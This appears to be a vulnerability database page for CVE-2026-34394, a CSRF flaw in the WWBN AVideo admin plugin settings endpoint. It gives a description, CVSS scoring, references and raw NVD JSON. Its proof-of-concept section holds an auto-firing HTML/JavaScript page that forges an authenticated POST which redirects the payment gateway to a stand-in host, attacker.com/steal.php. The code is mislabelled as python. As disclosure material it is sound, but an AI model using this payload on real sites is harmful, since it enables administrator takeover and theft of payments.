CVE-2026-34394

Description

WWBN AVideo is an open source video platform. In versions 26.0 and prior, AVideo's admin plugin configuration endpoint (admin/save.json.php) lacks any CSRF token validation. There is no call to isGlobalTokenValid() or verifyToken() before processing the request. Combined with the application's explicit SameSite=None cookie policy, an attacker can forge cross-origin POST requests from a malicious page to overwrite arbitrary plugin settings on a victim administrator's session. Because the plugins table is included in the ignoreTableSecurityCheck() array in objects/Object.php, standard table-level access controls are also bypassed. This allows a complete takeover of platform functionality by reconfiguring payment processors, authentication providers, cloud storage credentials, and more. At time of publication, there are no publicly available patches.

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:* - VULNERABLE

WWBN AVideo <= 26.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-34394 -->
<!-- This HTML file should be hosted on an attacker-controlled domain -->
<html>
<body>
<h2>You are being redirected...</h2>
<script>
  function exploit() {
    // The vulnerable endpoint on the target AVideo platform
    var targetUrl = "http://victim-site.com/admin/save.json.php";
    
    // Malicious parameters to overwrite plugin settings (e.g., changing payment gateway)
    // These parameters depend on the specific plugin configuration structure
    var payload = "plugin_name=PaymentGateway&new_payment_url=http://attacker.com/steal.php";
    
    var xhr = new XMLHttpRequest();
    xhr.open("POST", targetUrl, true);
    xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    
    // withCredentials = true ensures cookies are sent due to SameSite=None
    xhr.withCredentials = true;
    
    xhr.onreadystatechange = function () {
      if (xhr.readyState === 4) {
        console.log("Exploit request sent");
      }
    };
    
    xhr.send(payload);
  }

  // Automatically trigger the exploit when the page loads
  window.onload = exploit;
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-34394
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-34394
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-34394/
[4] VulDB https://vuldb.com/cve/CVE-2026-34394
[5] https://github.com/WWBN/AVideo/security/advisories/GHSA-4wwr-7h7c-chqr
[6] https://github.com/WWBN/AVideo/security/advisories/GHSA-4wwr-7h7c-chqr

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-34394", "sourceIdentifier": "[email protected]", "published": "2026-03-31T21:16:30.660", "lastModified": "2026-04-01T20:38:14.020", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WWBN AVideo is an open source video platform. In versions 26.0 and prior, AVideo's admin plugin configuration endpoint (admin/save.json.php) lacks any CSRF token validation. There is no call to isGlobalTokenValid() or verifyToken() before processing the request. Combined with the application's explicit SameSite=None cookie policy, an attacker can forge cross-origin POST requests from a malicious page to overwrite arbitrary plugin settings on a victim administrator's session. Because the plugins table is included in the ignoreTableSecurityCheck() array in objects/Object.php, standard table-level access controls are also bypassed. This allows a complete takeover of platform functionality by reconfiguring payment processors, authentication providers, cloud storage credentials, and more. At time of publication, there are no publicly available patches."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*", "versionEndIncluding": "26.0", "matchCriteriaId": "774C24F1-9D26-484F-B931-1DA107C8F588"}]}]}], "references": [{"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-4wwr-7h7c-chqr", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-4wwr-7h7c-chqr", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}